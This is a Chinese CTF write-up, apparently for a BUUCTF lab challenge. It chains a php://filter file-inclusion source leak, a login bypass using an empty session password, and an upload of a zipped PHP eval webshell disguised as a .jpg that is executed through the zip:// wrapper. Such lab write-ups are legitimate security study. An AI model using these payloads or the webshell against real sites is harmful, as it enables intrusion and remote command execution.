打开环境并没有什么发现?
login那也不可以注册，works也没什么发现。
?但是可以看到url栏中都传了一个page变量，猜想可能存在文件包含，先试试传一个/etc/passwd，什么都看不到，又想试一试php伪协议，看可不可以看到原码。
?page=php://filter/read=convert.base64-encode/resource=login.php
也是啥都没有，诶，可以注意到他自己传的东西都没有加php后缀，可能他后端自己补充了，那改一下payload
?page=php://filter/read=convert.base64-encode/resource=login
有东西了，那方法应该没错，看看?
<!DOCTYPE html>
<html>
<head>
<meta charset="utf-8">
<meta http-equiv="X-UA-Compatible" content="IE=edge">
<title>Login</title>
<meta name="description" content="">
<meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no">
<meta name="robots" content="all,follow">
<link rel="stylesheet" href="https://ajax.aspnetcdn.com/ajax/bootstrap/4.2.1/css/bootstrap.min.css">
<link rel="stylesheet" href="css/style.default.css" id="theme-stylesheet">
</head>
<body>
<div class="page login-page">
<div class="container d-flex align-items-center">
<div class="form-holder has-shadow">
<div class="row">
<!-- Logo & Information Panel-->
<div class="col-lg-6">
<div class="info d-flex align-items-center">
<div class="content">
<div class="logo">
<h1>欢迎登录</h1>
</div>
<p>—— 博客后台 ——</p>
</div>
</div>
</div>
<!-- Form Panel -->
<div class="col-lg-6 bg-white">
<div class="form d-flex align-items-center">
<div class="content">
<form method="post" action="/?page=admin/user" class="form-validate" id="loginFrom">
<div class="form-group">
<input id="login-username" type="text" name="username" required data-msg="请输入用户名" placeholder="用户名" class="input-material">
</div>
<div class="form-group">
<input id="login-password" type="password" name="password" required data-msg="请输入密码" placeholder="密码" class="input-material">
</div>
<button id="login" type="submit" class="btn btn-primary">登录</button>
<div style="margin-top: -40px;">
<!-- <input type="checkbox" id="check1"/> <span>记住密码</span>
<input type="checkbox" id="check2"/> <span>自动登录</span> -->
<div class="custom-control custom-checkbox " style="float: right;">
<input type="checkbox" class="custom-control-input" id="check2" >
<label class="custom-control-label" for="check2">自动登录</label>
</div>
<div class="custom-control custom-checkbox " style="float: right;">
<input type="checkbox" class="custom-control-input" id="check1" >
<label class="custom-control-label" for="check1">记住密码 </label>
</div>
</div>
</form>
<br />
<small>没有账号?</small><a href="#" class="signup"> 不给注册</a>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
<!-- JavaScript files-->
<script src="https://libs.baidu.com/jquery/1.10.2/jquery.min.js"></script>
<script src="https://ajax.aspnetcdn.com/ajax/bootstrap/4.2.1/bootstrap.min.js"></script>
<script src="vendor/jquery-validation/jquery.validate.min.js"></script><!--表单验证-->
<!-- Main File-->
<script src="js/front.js"></script>
</body>
</html>
<?php
require_once("secret.php");
mt_srand($secret_seed);
$_SESSION['password'] = mt_rand();
?>
并没有看懂什么，先不急，还有个home可以读取一下原码，同样是一堆html，看不出什么端倪，这里卡住了，我在想会不会有需要扫一下文件，无聊打开了f12看了看，因为他不让注册，我总觉得问题出在注册这里，可以看到有个页面可以去看看
?直接打开他说用户名或密码不正确，那就看看原码
<?php
error_reporting(0);
session_start();
$logined = false;
if (isset($_POST['username']) and isset($_POST['password'])){
if ($_POST['username'] === "Longlone" and $_POST['password'] == $_SESSION['password']){ // No one knows my password, including myself
$logined = true;
$_SESSION['status'] = $logined;
}
}
if ($logined === false && !isset($_SESSION['status']) || $_SESSION['status'] !== true){
echo "<script>alert('username or password not correct!');window.location.href='index.php?page=login';</script>";
die();
}
?> <?php
if(isset($_FILES['Files']) and $_SESSION['status'] === true){
$tmp_file = $_FILES['Files']['name'];
$tmp_path = $_FILES['Files']['tmp_name'];
if(($extension = pathinfo($tmp_file)['extension']) != ""){
$allows = array('gif','jpeg','jpg','png');
if(in_array($extension,$allows,true) and in_array($_FILES['Files']['type'],array_map(function($ext){return 'image/'.$ext;},$allows),true)){
$upload_name = sha1(md5(uniqid(microtime(true), true))).'.'.$extension;
move_uploaded_file($tmp_path,"assets/img/upload/".$upload_name);
echo "<script>alert('Update image -> assets/img/upload/${upload_name}') </script>";
} else {
echo "<script>alert('Update illegal! Only allows like \'gif\', \'jpeg\', \'jpg\', \'png\' ') </script>";
}
}
}
?>把中间的html扣了剩下这些。?
可以看到第一个是登录验证的代码，第二个是上传的代码。
先看第一个，重点是if ($_POST['username'] === "Longlone" and $_POST['password'] == $_SESSION['password'])，在这之前先看看(13条消息) php之$_SESSION的理解_勤于总结，学会分享-CSDN博客
意思就是说如果我们删去了cookie，那么传进去密码将不再是longlone的密码，没有cookie就找不到是哪个用户，那么服务端存的$_SESSION['password'])也就为空了，那我们只需要也传一个空密码按道理就可以绕过了。--在火狐中会好操作一点--
?f12把值那里删了就行
不过我按了半天还是不行，页面也没有刷新，那可能前端把这里设置为了必填的选项。那好说，HTML中?required 属性规定必需在提交之前填写输入字段。直接找到它把它删了
登录成功了
?接着看上传文件的代码，代码都给了，那肯定是文件上传的漏洞了
<?php
if(isset($_FILES['Files']) and $_SESSION['status'] === true){
$tmp_file = $_FILES['Files']['name'];
$tmp_path = $_FILES['Files']['tmp_name'];
if(($extension = pathinfo($tmp_file)['extension']) != ""){
$allows = array('gif','jpeg','jpg','png');
if(in_array($extension,$allows,true) and in_array($_FILES['Files']['type'],array_map(function($ext){return 'image/'.$ext;},$allows),true)){
$upload_name = sha1(md5(uniqid(microtime(true), true))).'.'.$extension;
move_uploaded_file($tmp_path,"assets/img/upload/".$upload_name);
echo "<script>alert('Update image -> assets/img/upload/${upload_name}') </script>";
} else {
echo "<script>alert('Update illegal! Only allows like \'gif\', \'jpeg\', \'jpg\', \'png\' ') </script>";
}
}
}
?>可以看到，他设置了白名单，但我想传一句话木马上去，而且上传成功的话他会告诉你上传的路径，然后再用之前可以传的page参数可以解析伪协议的，但是并不确定是否可以php文件也会被解析，先不想那么多，做来看。坚定了我传木马的决心，这里想到了将php文件打包成zip，改后缀名为jpg，再利用zip伪协议进行读取。zip协议是可以解压缩jpg后缀的压缩包的。
开始构造：
?? ?<?php @eval($_POST['cmd']);?>
??后缀改为php后进行压缩
再把zip改为jpg，上传后进入到上传文件的页面
?
??
?这里只是想看看上传成功没有，可以看到是上传成功了的，但是没办法显示（出不来是因为我们这个文件是个压缩包，不是个正经的图片
然后利用zip伪协议读取一下，格式如下：
zip:// + zip路径 + %23?+ php文件名 (由于#在get请求中会将后面的参数忽略所以使用get请求时候应进行url编码为%23)
http://82165fb2-5d53-4a86-a386-04058d68f23c.node4.buuoj.cn:81/?page=zip://./assets/img/upload/901edcb2cb7e73704f556f4c50d8b1ee3e7f428d.jpg%231
这里不加.php后缀是因为在index.php包含的时候默认加上了，还要注意zip协议后面跟的是./因为没有去看绝对路径。
?得到flag，本来想用蚁剑，一直连接不上我也不知道为什么，所以就直接传命令去看，也不难看到flag就在根目录下面。??
还要注意！！因为是php，传入的命令后面要加? ;